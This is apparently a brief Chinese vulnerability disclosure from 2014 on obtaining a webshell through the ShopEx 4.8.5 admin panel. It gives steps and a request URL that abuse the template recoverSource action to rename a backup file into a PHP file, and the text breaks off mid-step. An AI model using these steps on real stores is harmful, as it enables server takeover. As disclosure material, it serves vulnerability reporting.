shopex485 最新后台拿webshell
简要描述: shopex485 最新后台拿webshell 详细说明: shopex485 最新后台拿webshell 测试版本:shopex485 日期:2014.8.25 漏洞证明: 页面管理-模板列表-模板文件管理,选择任意页面修改 保存两次,复制info.bak2.xml链接 http://127.0.0.1/shopex/shopadmin/index.php?ctl=system/tmpimage&act=recoverSource&p0=info.bak2.xml&p1=info.xml&p2=1354864820 info.xml修改为info.php...